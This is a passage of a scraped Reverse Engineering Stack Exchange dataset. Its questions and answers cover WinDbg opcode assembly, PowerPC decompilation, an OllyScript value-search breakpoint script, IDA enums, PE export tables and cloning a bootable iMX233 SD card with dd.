0:005> a\ninput> xchg eax,esp\n
\n\n

but the address given just points to a totally different kind of instruction in my program.\nI believe it was an add command.

\n", "Title": "windbg: How to determine the opcode for an assembly language instruction or set of instructions", "Tags": "|windbg|", "Answer": "

RTA is an easy to use tool that allows you to enter either opcodes or mnemonics and will convert them from one to the other.

\n\n

In the example below, I entered XCHG EAX,ESP and RETN on the right, and RTA produced 94 and C3 on the left:

\n\n

\"RTA\"

\n\n

If, on the other hand, you really want to use WinDbg, then you need to do the following:

\n\n
    \n
  1. Load a target into WinDbg
    2. \n
  2. Type a, Enter to enter Input mode
    3. \n
  3. Type your mnemonics (for example, xchg eax,esp), Enter
    4. \n
  4. Press Enter again to escape Input mode
    5. \n
  5. Type u, Enter to show the disassembly of what you just assembled
    6. \n
\n\n

\u200bSee below for an example:

\n\n
0:000> a\n778e05a6 xchg eax,esp\nxchg eax,esp\n778e05a7 \n\n0:000> u\nntdll!LdrVerifyImageMatchesChecksum+0x633:\n778e05a6 94              xchg    eax,esp\n
\n" }, { "Id": "6638", "CreationDate": "2014-11-15T06:12:17.190", "Body": "

Continues from Unknown game data compression method (Gamecube)
\nI have compression data which was start with: [ * SK_ASC* ] and unknown compression method.
The list below compression method that I tested, but doesn't match:

\n\n\n\n

Researching for 2 weeks, I knew that compression algorithms is slightly modified, better than zlib/gzip.
\nIt maybe xored or encrypted so it doesn't match with regular one.
\nFinally, I've found decompression subroutine from main executive file via IDA Pro.

\nSubroutine & example uploaded here: http://goo.gl/2bQNfj
(PowerPC Architecture Assembly skill required)


\nI have no idea what It mean because I'm not well in PPC disassemble.
\nCould anyone help found out what the code mean? Could you describe it as C Language or other readable language?

\n\n




\nP.S. I already posted several forum to help.

\n\n\n", "Title": "Disassemble the Decompression method (PowerPC ASM)", "Tags": "|disassembly|decompress|powerpc|", "Answer": "

Based on w s 's answer, do the following:

\n\n

Extract the decompression function from the binary. (On Linux, use dd if=Start.dol bs=1 skip=1292664 count=7364 of=decomp.ppc).

\n\n

Set the retargetable decompiler to raw machine code, decomp.ppc, file format doesn't matter, power pc, big endian, section address and entry point addess = 0x8013FC58.

\n\n

With these parameters, you'll get your code decompiled. The result isn't exactly what i'd call readable, though.

\n\n

You'll still have the problem that the code calls some more functions that aren't in the snipped file, but you can probably handle them in the same way.

\n" }, { "Id": "6647", "CreationDate": "2014-11-17T13:21:00.883", "Body": "

I am new to reverse engineering. This is my problem:\nI am running a program and I know a value 'X' will be calculated during execution.\nNow how do i set the IDA or ollydbg to break when value X appears for the first time in the memory. (I guess it is similar to Memory/Data Breakpoints)\nPlease help.

\n", "Title": "How to cause program to stop execution when a particular value is found in memory", "Tags": "|ida|ollydbg|patch-reversing|", "Answer": "

Well, I was tying few weeks ago to implement an ollyscript which triggers conditional beakpoints on each line where a desired alpha/numerical value is found.

\n\n

This program gives the user the choice of following one of 3 methods:

\n\n

1- Trace methode (which works with numbers)

\n\n

2- Memory breakpoints

\n\n

3- Smart research by setting unconditional breakpoints (works by two passes)

\n\n
\n \n
\n\n
COE \nLC  \nlog \" This script is realised by AGAWA001 of StackExchange \"    \nlog \" This script should be executed on ODbgScript version +1.82.6\" \nlog \" This script must rerun twice atleast in case of smartresearch\"    \nlog \" you must restart your program once terminated to clear useless breakpoints\"   \nlog \" This script is used to check existence of an alpha/numeric value in memory\"   \nlog \" Unicode strings arent suppoted try to input first two unicode characters as number\"   \nlog \" in case when script stops, press spacebar focused on script window to force it to run\"    \nlog \" This script removes all beakpoints prealably set up and changes labels from command lines\"    \nlog \" To run this script as quick as possible, ollydbg window is prefered to be minimized during execution \"    \nlog \" All insider windows (log window,bp window,memory ,...) must be closed apart script window to ensure shortest runtime\" \nlog \" Trace procedure can encounter T-flag error, in this case try to get a grasp on it by binding esc key focused on script window\"    \nlog \" Some debuggers dont support ask command, so values must be injected manually and carefully instead of userprompt command in same line\"    \n\nlog \"--------------------------------------------------------------------------------------\"    \nlog \" This is beta version, Contact me whether you find any bugs, regards.\" \nlog \"--------------------------------------------------------------------------------------\"    \n\nvar str \nvar tmp \nvar start   \nvar finish  \nvar addr    \nvar ending  \nvar beginning   \nvar val \nvar value   \nvar swtch   \nvar stack   \nvar stackend    \nvar buff    \nvar offset  \nvar dll \nvar processkill \nmov processkill,0   \nmov offset,4    \nalloc 1000                          \nmov buff, $RESULT   \nmov offst,ff    \nGMEMI esp, MEMORYBASE   \nmov stack,$RESULT   \nGMEMI $RESULT, MEMORYSIZE   \nmov stackend,$RESULT    \nadd stackend,stack  \ngmi eip,MODULEBASE  \nmov start,$RESULT   \nmov finish,$RESULT  \ngmi eip,MODULESIZE  \nadd finish,$RESULT  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje bypass   \ncmp $RESULT,\"done\"  \nje exit \npreop eip   \ngcmt $RESULT    \ncmp $RESULT,\"ready\" \nje check2   \npreop eip   \ngcmt $RESULT    \nmov val,$RESULT \nlen $RESULT \nifg $RESULT,1   \natoi val    \nmov val,$RESULT \nmov dll,0   \nife val>>1f,1   \nmul val,-1  \nmov addr,eip-val    \njmp boucl   \nelse    \nmov addr,eip+val    \njmp boucl2  \nendif   \nendif   \ncheck2: \nmov processkill,1   \nbypass: \nmul offst,10    \nask \"Enter value to look for (preceded by 'str:' in case of a formatted string ex: str:password ) \" \nadd offst,buff  \ncmp $RESULT, 0  \nje  theend  \nmov str,$RESULT \nmov value,$RESULT   \nstr str \nlen str \nmov tmp,$RESULT \ncmp tmp,5   \njb ok   \nstr str \nscmp  str, \"str:\", 4    \njne ok  \nbuf str \nmov [esp-100],str   \nmov value,0 \nmov value,[esp-100+4]   \nkeepon: \nmov [buff+offset-4],[esp-100+offset]    \nadd offset,4    \ncmp tmp,offset  \njbe nok \njmp keepon  \nok: \nmov [buff+offset-4],value   \nnok:    \ncmp processkill,1   \nje loop \nMSGYN \"do you want to set breakpoints on dlls ? \"   \nifeq $RESULT, 0 \nmov dll,0   \nelse    \nmov dll,1   \nendif   \ncmp $RESULT,2   \nje theend   \njmp firstcheck  \nreturnback: \nmov val,value   \nMSGYN \"do you want to trace the information ? press no to proceed smart research \"  \ncmp $RESULT, 2  \njne traced  \n\n\n\n\nfirstcheck: \nmov val,0   \nmov addr,0  \nmov tmp,0   \nmov str,0   \nrepeat: \nmov [2*str+offst],c0+str    \nadd str,1   \ncmp str,3   \njl repeat   \nmov str,value   \nbuf str \nfindmem str, addr   \ncmp $RESULT, 0  \nje cont \nmov addr,$RESULT    \nitoa addr   \nlog \"value found in memory at \" + $RESULT   \nifeq tmp,0  \nmsgyn \"value found in memory would you like to set memory breakpoint there (see log) ?\" \nmov tmp,$RESULT \ncmp $RESULT,2   \nje returnback   \nendif   \nmov val,addr    \nGMEMI addr, MEMORYBASE  \nmov addr,$RESULT    \ngmi addr,PATH   \nadd buff,300    \nmov [buff],$RESULT  \nlen [buff]  \nmov str,$RESULT \nadd str,buff    \nsub str,3   \ncmp [str],\"dll\" \nsub buff,300    \nje cont \nGMEMI addr, MEMORYSIZE  \ncmp val,start   \njb performm \ncmp val, finish \nja performm \nadd addr,$RESULT    \njmp repeat  \nperformm:   \ncmp val,stack   \njb performm2    \ncmp val, stackend   \nja performm2    \nmov addr,val    \nmov str,4   \njmp changeplan  \nperformm2:  \nmov str,$RESULT     \nsub str,1   \nchangeplan: \ncmp tmp,0   \nje saut \nbprm addr,str   \nmov val,[buff+400]  \nmov [buff+404+val],addr \nmov [buff+408+val],str  \nadd val,8   \nmov [buff+400],val  \nsaut:   \nadd addr,str    \ncmp tmp,0   \nje repeat   \njmp cont    \n\n\n\n\n\ntraced: \ncmp $RESULT, 0  \nje smartsearch  \n\n\n\nitoa val    \nmov val,$RESULT \nconcatenate:    \nlen val \ncmp $RESULT,8   \nje stopit   \nmov val,\"0\"+val \njmp concatenate \nstopit: \nmov str, \" EAX==\" + val+ \" | EBX==\" + val+ \" | ECX==\" + val+ \" | EDX==\" + val+ \" | ESI==\" + val+ \" | EDI==\" + val   \nlog \"---------------------value to trace is---------------------------\" \nlog str \nlog \"-----------------------------------------------------------------\" \nticnd str   \nmov swtch,1 \njmp passover    \ntrace:  \nprecontinue:    \nsti \nmov addr,eip    \nti  \ncmp eip,addr    \nje precontinue  \npassover:   \nifeq dll,0  \ncmp eip,start   \njb run  \ncmp eip,finish  \nja run  \njmp continue    \nrun:    \nrtr \nsti \ncmp eip,start   \njb run  \ncmp eip,finish  \nja run  \njmp trace   \nendif   \ncontinue:   \npreop eip   \nmov addr,$RESULT    \nGOPI addr, 1, DATA  \ncmp $RESULT,value   \nje detected1    \nGOPI addr, 2, DATA  \ncmp $RESULT,value   \nje detected2    \nGOPI addr, 1, ADDR  \ncmp $RESULT,7   \nja checkval \nmov val,[buff]  \ncmp swtch,1 \nje trace    \njmp redo2   \ncheckval:   \nmov tmp,0   \ncmp [$RESULT],value \nand [offst+1],ff00ff00  \nmov val,7   \nje affect   \nadd tmp,1   \ncmp [$RESULT+1],value   \nje affect   \nadd tmp,1   \ncmp [$RESULT+2],value   \nje affect   \nadd tmp,1   \ncmp [$RESULT+3],value   \nje affect   \nGOPI addr, 2, ADDR  \ncmp $RESULT,8   \nadd [offst+1],400050    \nadd [offst+1],val   \nadd [offst+3],val   \njb compare  \njmp round2  \naffect: \nadd [offst+1],400050    \nadd [offst+1],val   \nadd [offst+3],val   \nitoa $RESULT+tmp    \nmov addr,$RESULT    \nmov tmp,0   \nmov val, buff+100   \njmp concat  \nround2: \nmov tmp,0   \ncmp [$RESULT],value \nje affect   \nadd tmp,1   \ncmp [$RESULT+1],value   \nje affect2  \nadd tmp,1   \ncmp [$RESULT+2],value   \nje affect2  \nadd tmp,1   \ncmp [$RESULT+3],value   \nje affect2  \ncmp swtch,1 \nje trace    \njmp redo2   \naffect2:    \nitoa $RESULT+tmp    \nmov addr,$RESULT    \nmov tmp,0   \nmov val, buff+100   \njmp concat  \ncompare:    \nmov val,[buff]  \nmov [buff+e08],31303041 \ncmp swtch,1 \nje trace    \njmp redo2   \ndetected1:  \nGOPI addr, 1, ADDR  \njmp branch  \ndetected2:  \nGOPI addr, 2, ADDR  \nbranch:     \nmov tmp,$RESULT \nmov str,addr    \nitoa str    \nmov str,$RESULT \nitoa value  \ncmp tmp,0   \nje eaxx \ncmp tmp,1   \nje ecxx \ncmp tmp,2   \nje edxx \ncmp tmp,3   \nje ebxx \ncmp tmp,6   \nje esii \ncmp tmp,7   \nje edii \nlog \"eip=\"+str  \nmov addr,tmp    \nmov tmp,0   \nmov val, buff+100   \nitoa addr   \nmov addr,$RESULT    \nmov str,0   \nconcat: \nmov str,0   \nmov str,[buff+tmp]  \nitoa str    \nmov str,$RESULT \nmov [val] , \"[\" \nmov [val+1],  addr  \nlen [val]   \nmov [val+$RESULT], \"] == \"  \nmov [val+$RESULT+5], str    \nadd val,$RESULT+5   \nlen [val]   \nmov [val+$RESULT], \"&\"  \nadd val,$RESULT+1   \nmov [val],0 \nadd tmp,1   \natoi addr   \nmov addr,0  \nmov addr,$RESULT    \nadd addr,1  \ncmp offset-4,tmp    \njbe dobp    \ncmp [addr],[buff+tmp]   \njne dobp2   \nitoa addr   \nmov addr,$RESULT    \njmp concat  \ndobp:   \nitoa addr   \nlog \"found at :\" + $RESULT  \nmsgyn \"perfect value found in memory ,would you like to clear all previous conditional breakpoints? press no to keep all breakpoints, cancel to stop script (see log window)\"   \nifeq $RESULT,1  \nbc  \nelse    \nifeq $RESULT,2  \njmp theend  \nendif   \nendif   \ndobp2:  \nmov [val-1],0   \nmov [buff+e04],57414741 \ngstr buff+100   \nBPCND eip, $RESULT  \ncmt finish,\"done\"   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \nfill buff+100, val-buff-100, 0  \nmov val,[buff]  \ncmp swtch,1 \nje trace    \njmp redo2   \neaxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EAX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check4  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check4   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck4: \ncmp swtch,1 \nje trace    \njmp redo2   \nebxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EBX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check3  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check3   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck3: \ngcmt start  \ncmp $RESULT,\"done\"  \njne check5  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check5   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck5: \ncmp swtch,1 \nje trace    \njmp redo2   \necxx:   \nlog \"eip=\"+str  \nBPCND eip, \"ECX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check6  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check6   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck6: \ncmp swtch,1 \nje trace    \njmp redo2   \nedxx:   \nlog \"eip=\"+str  \nBPCND eip, \"EDX == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check7  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check7   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck7: \ncmp swtch,1 \nje trace    \njmp redo2   \nesii:   \nlog \"eip=\"+str  \nBPCND eip, \"ESI == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check8  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check8   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck8: \ncmp swtch,1 \nje trace    \njmp redo2   \nedii:   \nlog \"eip=\"+str  \nBPCND eip, \"EDI == \" + $RESULT  \ngcmt start  \ncmp $RESULT,\"done\"  \njne check9  \ngcmt finish \ncmp $RESULT,\"complete\"  \nje check9   \nitoa eip    \nLBL eip,\"no\"+$RESULT    \ncheck9: \ncmp swtch,1 \nje trace    \njmp redo2   \n\n\n\ncont:   \n\nlog \"-----------------end memorybreakpoints---------------------\"   \nloop:   \nCOE \nerun    \n\n\nifeq dll,0  \ncmp eip,start   \njb run2 \ncmp eip,finish  \nja run2 \njmp continue2   \nrun2:   \nBPMC    \nredoit: \nCOE \nerun    \ncmp eip,start   \njb redoit   \ncmp eip,finish  \nja redoit   \nmov val,0   \nmov str,buff+404    \nbpaffect:   \nbprm [str],[str+4]  \nadd str,8   \nadd val,8   \ncmp [buff+400],val  \njne bpaffect    \njmp loop    \ncontinue2:  \nendif                           \n\n\n\nmov addr, eip   \nGOPI addr, 1, DATA  \ncmp $RESULT, value  \nje detected1    \nGOPI addr, 2, DATA  \ncmp $RESULT, value  \nje detected2    \nGOPI addr, 1, ADDR  \ncmp $RESULT,7   \nja checkval \nGOPI addr, 2, ADDR  \ncmp $RESULT,8   \njb redo2    \njmp round2  \ndetected1:  \nGOPI addr, 1, ADDR  \njmp branch  \ndetected2:  \nGOPI addr, 2, ADDR  \njmp branch  \n\n\n\nifeq dll,0  \ncmp eip,start   \njb run2 \ncmp eip,finish  \nja run2 \njmp continue2   \nrun2:   \nBPMC    \nredoit: \nCOE \nrtr \nsti \ncmp eip,start   \njb redoit   \ncmp eip,finish  \nja redoit   \nmov val,0   \nmov str,buff+404    \nbpaffect:   \nbprm [str],[str+4]  \nadd str,8   \nadd val,8   \ncmp [buff+400],val  \njne bpaffect    \njmp loop    \ncontinue2:  \nendif                           \n\n\nredo2:  \n\njmp loop    \n\n\n\nsmartsearch:    \nmov dll,0   \nmov addr, eip   \nboucl:  \nmov str,addr    \npreop addr  \nifeq $RESULT,addr-1 \npreop $RESULT   \nmov addr,$RESULT    \njmp boucl   \nendif   \nmov addr,$RESULT    \ncmp addr,str    \nje finishit \nopcode addr \nmov [buff+200],$RESULT_1    \nmov str,buff+200    \nckecknext:  \nadd str,1   \nscmp  [str], \"[\", 1 \nje dobreak  \ncmp [str],0 \nje boucll   \njmp ckecknext   \ndobreak:    \nbp  addr    \nmov dll,addr-eip    \nitoa dll    \nmov dll,$RESULT \npreop eip   \ncmt $RESULT,dll \nmov val,addr    \nitoa val    \nLBL val,\"yes\"+$RESULT   \nboucll: \ngstr buff+200   \nlen $RESULT \nfill buff+200, $RESULT, 0   \njmp boucl   \n\nfinishit:   \nmov dll,0   \nmov start,addr  \nmov addr, eip   \nboucl2: \nGCI addr, size  \ncmp $RESULT,0   \nje loopp    \nmov addr,addr +$RESULT  \npreop addr  \nifeq $RESULT,addr-1 \njmp boucl2  \nendif   \nopcode addr \ncmp addr,finish \njae loopp   \nmov [buff+200],$RESULT_1    \nmov str,buff+200    \nckecknext2: \nadd str,1   \nscmp  [str], \"[\", 1 \nje dobreak2 \ncmp [str],0 \nje boucll2  \njmp ckecknext2  \ndobreak2:   \nmov dll,addr-eip    \nitoa dll    \nmov dll,$RESULT \npreop eip   \ncmt $RESULT,dll \nGCI addr, size  \nbp  addr    \nmov val,addr    \nitoa val    \nLBL val,\"yes\"+$RESULT   \nboucll2:    \ngstr buff+200   \nlen $RESULT \nfill buff+200, $RESULT, 0   \njmp boucl2  \n\nloopp:  \npreop eip   \ncmt $RESULT,\"ready\" \njmp loop    \n\nexit:   \nmov val,start   \nagain:  \nifeq val,finish \njmp lafin   \nendif   \nendif   \nmov str,\"\"  \nglbl val    \nifNeq $RESULT,0 \nMOV str,$RESULT \nendif   \nscmp str,\"yes\",3    \njne skipit  \nbc val  \nlbl val,\"\"  \nskipit: \nGCI val, size   \nmov val,val+$RESULT \njmp again   \nlafin:  \npreop eip   \ncmt $RESULT,\"\"  \ncmt finish,\"complete\"   \nmsg \"finished, save a copy of ./udd/<exename>.udd to store script results\"  \ntheend: \nRet                     \n
\n\n\n" }, { "Id": "6651", "CreationDate": "2014-11-18T00:04:16.500", "Body": "

Bear with me as I am new to IDA and have not managed to find an answer to my question on google or other related outlets.

\n\n

I am reversing a firmware blob from an ARM device of which I have a c header file defining various memory locations as follows:

\n\n
#define IO_LCD_OUT 0x4000000\n
\n\n

Is there a way I can load this header file into IDA in order to redefine immediate values?

\n\n

For Example, instead of:

\n\n
MOV     R12, #0x4000000\n
\n\n

Could IDA instead print:

\n\n
MOV     R12, IO_LCD_OUT\n
\n\n

Are there other ways to acheive this outcome aside from how I am trying to approach this? I have the header file with memory locations defined and would like to load that information into ida!

\n\n

I have tried to parse it using File -> Load File -> Parse C Header File and have had no luck!

\n", "Title": "Importing C header file with memory location definitions", "Tags": "|ida|", "Answer": "

You can use custom enumerations here.

\n\n
    \n
  1. Go to Enums list (Shift+F10).
    2. \n
  2. Add a new enum for you list of constants (Ins)
    3. \n
  3. Add constant(s) to the list (N), e.g. name IO_LCD_OUT and value 0x4000000
    4. \n
  4. Now you should be able to replace these constants in the disassembly, using M or the context menu.
    5. \n
\n\n

You can speed up things by:

\n\n
    \n
  1. Generating an IDC file from the header to build the enum programmatically (use functions AddEnum and AddConstEx). The h2enum.idc script might work too.
    2. \n
  2. Converting those defines to a C style enum, parsing the header, then using the imported enum from your disassembly (you will need to first perform Synchronize to idb step in the Local Types).
    3. \n
\n" }, { "Id": "6652", "CreationDate": "2014-11-18T00:47:34.830", "Body": "

I'm trying to explore the functions exported by profapi.dll and I came across a behavior that I can't explain.

\n\n

Reading about the PE binary format I gather that the export table has 3 tables (arrays): one array containing function pointers of exported functions, another containing names (strings) of exported functions, and a third array containing the integer ordinal numbers of the exported functions. The linker needs the information in the name and/or the ordinal table to patch calls to exported functions in other DLLs. The name table pointer can be NULL if the DLL exports its functions using only ordinal numbers.

\n\n

However, for profapi.dll, I see that both the name table and the ordinal table pointers are NULL; yet the DLL exports 6 functions (verified using IDAPro). In fact, shell32.dll calls one of the functions in profapi.dll using its ordinal number and the linker somehow resolves the address. I'm not sure how the linker is able to resolve the call in shell32.dll. Moreover, pefile, the Python library I am using to parse the DLL reports that profapi.dll does not export any functions since both the name and ordinal table pointers are NULL. What am I missing?

\n\n

I'm using profapi.dll version 6.1.7600.16385 and shell32.dll version 6.1.7601.2278 on Windows 7. I'm using pefile version 1.2.10-139.

\n", "Title": "Name and Ordinal table pointers in export directory are NULL although DLL exports functions", "Tags": "|dll|pe|", "Answer": "

The \"ordinal table\" (also known as the Export Ordinal Table or AddressOfNameOrdinals) is used in conjunction with the \"name table\" (also known as the Export Name Pointer Table or AddressOfNames) if-and-only-if functions are exported by name.

\n\n

From the official PE-COFF documentation:

\n\n
\n

The export name pointer table and the export ordinal table form two\n parallel arrays that are separated to allow natural field alignment.\n These two tables, in effect, operate as one table, in which the Export\n Name Pointer column points to a public (exported) name and the Export\n Ordinal column gives the corresponding ordinal for that public name. A\n member of the export name pointer table and a member of the export\n ordinal table are associated by having the same position (index) in\n their respective arrays.

\n
\n\n

But if there are no functions exported by name, then there is no Export Name Pointer Table, and if there's no Export Name Pointer Table then there's on need for the Export Ordinal Table either, which is why both fields are NULL in the Export Directory Table.

\n\n
\n

In fact, shell32.dll calls one of the functions in profapi.dll using\n its ordinal number and the linker somehow resolves the address.

\n
\n\n

The build-time linker (part of the compiler toolkit) doesn't resolve the address; the run-time loader (part of Windows) resolves the address. The loader see that shell32.dll imports a profapi.dll function by a given ordinal number (let's say 105, for example), so it subtracts profapi.dll's Ordinal Base (let's say 101, for example) from the ordinal number and uses the result (4 in this example) as an index into the Export Address Table to find the RVA of the imported function. Neither the Export Ordinal Table nor the Export Name Pointer Table are needed.

\n\n
\n

Moreover, pefile, the Python library I am using to parse the DLL\n reports that profapi.dll does not export any functions since both the\n name and ordinal table pointers are NULL. What am I missing?

\n
\n\n

As discussed here, the pefile Python library is broken, or at least older versions of it are known to be broken with respect to ordinal handling.

\n" }, { "Id": "6666", "CreationDate": "2014-11-20T23:08:23.920", "Body": "

I have an embedded device which is loosely based around a Olinixino iMX233 design. This has a Freescale iMX233 microprocessor and boots from a socketed 2GB microSD card.

\n\n

I wish to alter the filesystem, but also backup the filesystem prior to altering it so that I don't brick the device.

\n\n

To achieve this, I obtained a similar 2GB micro SD card, and cloned the current SD card using dd in a USB card reader:

\n\n
dd if=/dev/sdc of=HeatmiserSDC.img\n
\n\n

then after swapping cards:

\n\n
dd if=HeatmiserSDC.img of=/dev/sdc\n
\n\n

When this new card is placed in the device, it fails to boot.

\n\n

I have also now tried the sg3_utils utility sg_dd which operates at a slightly lower level. This has produced a slightly different image file but still won't boot.

\n\n

I have also now used a SD to micro SD adapter in a direct SD card interface (/dev/mmcblk0) in a Thinkpad x220. This also failed to boot.

\n\n

The serial console produces a single error code when it fails to boot, 0x8020a007, which doesn't provide much useful during a Google search.

\n\n

I have tried multiple cards, including some 4GB cards. This doesn't seem to be a space issue - sometimes one 2GB SD card is slightly smaller than another. The board also seems to be using the SD protocol and not the SPI protocol. The SPI protocol is sometimes not very reliable on newer cards.

\n\n

fsutil -l produces the following output:

\n\n
Disk /dev/sdc: 1996 MB, 1996488704 bytes\n8 heads, 7 sectors/track, 69632 cylinders, total 3899392 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n   Device Boot      Start         End      Blocks   Id  System\n/dev/sdc1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/sdc2           32001      200000       84000   83  Linux\n/dev/sdc3          200001      400000      100000   83  Linux\n/dev/sdc4          400001     3899391     1749695+  83  Linux\n
\n\n

Is there something I am missing here? Some data that isn't copied as part of dd?

\n", "Title": "Why would copying a micro SD card using dd fail to produce a bootable card?", "Tags": "|embedded|", "Answer": "

After some searching, it seems that the boot process on the iMX233 is fairly non-standard. By default it looks for a \"Boot Control Block\" (BCB) in the last block of the SD card.

\n\n

Examining the original SD card, find the last block using fdisk -l:

\n\n
Disk /dev/mmcblk0: 1996 MB, 1996488704 bytes\n4 heads, 16 sectors/track, 60928 cylinders, total 3899392 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n        Device Boot      Start         End      Blocks   Id  System\n/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/mmcblk0p2           32001      200000       84000   83  Linux\n/dev/mmcblk0p3          200001      400000      100000   83  Linux\n/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux\n
\n\n

There are 3899392 sectors.

\n\n

Examine the last sector of the SD card using dd:

\n\n
root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 2> /dev/null | hexdump -C\n00000000  33 22 11 00 01 00 00 00  04 00 00 00 04 00 00 00  |3\"..............|\n00000010  04 00 00 00 04 08 00 00  50 00 00 00 50 00 00 00  |........P...P...|\n00000020  50 00 00 00 50 00 00 00  ef be ad de 00 00 00 00  |P...P...........|\n00000030  01 00 00 00 02 00 00 00  03 00 00 00 04 00 00 00  |................|\n00000040  05 00 00 00 06 00 00 00  07 00 00 00 08 00 00 00  |................|\n00000050  09 00 00 00 0d 0a 00 00  00 0b 00 00 00 0c 00 00  |................|\n00000060  00 0d 00 00 00 0e 00 00  00 0f 00 00 00 10 00 00  |................|\n00000070  00 11 00 00 00 12 00 00  00 13 00 00 00 14 00 00  |................|\n00000080  00 15 00 00 00 16 00 00  00 17 00 00 00 18 00 00  |................|\n00000090  00 19 00 00 00 1a 00 00  00 1b 00 00 00 1c 00 00  |................|\n000000a0  00 1d 00 00 00 1e 00 00  00 1f 00 00 00 20 00 00  |............. ..|\n000000b0  00 21 00 00 00 22 00 00  00 23 00 00 00 24 00 00  |.!...\"...#...$..|\n000000c0  00 25 00 00 00 26 00 00  00 27 00 00 00 28 00 00  |.%...&...'...(..|\n000000d0  00 29 00 00 00 2a 00 00  00 2b 00 00 00 2c 00 00  |.)...*...+...,..|\n000000e0  00 2d 00 00 00 2e 00 00  00 2f 00 00 00 30 00 00  |.-......./...0..|\n000000f0  00 31 00 00 00 32 00 00  00 33 00 00 00 34 00 00  |.1...2...3...4..|\n00000100  00 35 00 00 00 36 00 00  00 37 00 00 00 38 00 00  |.5...6...7...8..|\n00000110  00 39 00 00 00 3a 00 00  00 3b 00 00 00 3c 00 00  |.9...:...;...<..|\n00000120  00 3d 00 00 00 3e 00 00  00 3f 00 00 00 40 00 00  |.=...>...?...@..|\n00000130  00 41 00 00 00 42 00 00  00 43 00 00 00 44 00 00  |.A...B...C...D..|\n00000140  00 45 00 00 00 46 00 00  00 47 00 00 00 48 00 00  |.E...F...G...H..|\n00000150  00 49 00 00 00 4a 00 00  00 4b 00 00 00 4c 00 00  |.I...J...K...L..|\n00000160  00 4d 00 00 00 4e 00 00  00 4f 00 00 00 50 00 00  |.M...N...O...P..|\n00000170  00 51 00 00 00 52 00 00  00 53 00 00 00 54 00 00  |.Q...R...S...T..|\n00000180  00 55 00 00 00 56 00 00  00 57 00 00 00 58 00 00  |.U...V...W...X..|\n00000190  00 59 00 00 00 5a 00 00  00 5b 00 00 00 5c 00 00  |.Y...Z...[...\\..|\n000001a0  00 5d 00 00 00 5e 00 00  00 5f 00 00 00 60 00 00  |.]...^..._...`..|\n000001b0  00 61 00 00 00 62 00 00  00 63 00 00 00 64 00 00  |.a...b...c...d..|\n000001c0  00 65 00 00 00 66 00 00  00 67 00 00 00 68 00 00  |.e...f...g...h..|\n000001d0  00 69 00 00 00 6a 00 00  00 6b 00 00 00 6c 00 00  |.i...j...k...l..|\n000001e0  00 6d 00 00 00 6e 00 00  00 6f 00 00 00 70 00 00  |.m...n...o...p..|\n000001f0  00 71 00 00 00 72 00 00  00 73 00 00 00 74 00 00  |.q...r...s...t..|\n00000200\n
\n\n

The magic number of 0x33221100 is mentioned in some Freescale documentation, though I was expecting to see it with the opposite endianness.

\n\n

So to make a successful clone, choose a SD card of larger capacity to ensure nothing is overwritten (or you can resize partitions).

\n\n

Take an image of the original card:

\n\n
root@kali:~# dd if=/dev/mmcblk0 of=wholeSD.img\n3899392+0 records in\n3899392+0 records out\n1996488704 bytes (2.0 GB) copied, 98.3687 s, 20.3 MB/s\n
\n\n

Then take an image of just the last sector for the BCB:

\n\n
root@kali:~# dd if=/dev/mmcblk0 bs=512 count=1 skip=3899391 of=BCB.img\n1+0 records in\n1+0 records out\n512 bytes (512 B) copied, 0.000220203 s, 2.3 MB/s\n
\n\n

Find out how big the new SD card is:

\n\n
Disk /dev/mmcblk0: 2002 MB, 2002780160 bytes\n4 heads, 16 sectors/track, 61120 cylinders, total 3911680 sectors\nUnits = sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\nDisk identifier: 0x0f6c2d46\n\n        Device Boot      Start         End      Blocks   Id  System\n/dev/mmcblk0p1            2048       32000       14976+  53  OnTrack DM6 Aux3\n/dev/mmcblk0p2           32001      200000       84000   83  Linux\n/dev/mmcblk0p3          200001      400000      100000   83  Linux\n/dev/mmcblk0p4          400001     3899391     1749695+  83  Linux\n
\n\n

This one is larger with 3911680 sectors.

\n\n

Move the whole card image onto the new card:

\n\n
root@kali:~# dd if=wholeSD.img of=/dev/mmcblk0\n13899392+0 records in\n3899392+0 records out\n1996488704 bytes (2.0 GB) copied, 1545.45 s, 1.3 MB/s\n
\n\n

And then move the BCB image to the last sector of the card:

\n\n
root@kali:~# dd if=BCB.img bs=512 count=1 seek=3911679 of=/dev/mmcblk0\n1+0 records in\n1+0 records out\n512 bytes (512 B) copied, 8.4684e-05 s, 6.0 MB/s\n
\n\n

Note the use of seek (output side) rather than skip (input side).

\n\n

It is worth double checking that the last block has been written. Several cheap SD cards don't seem to work in the last sectors, possibly because they misreport size.

\n\n

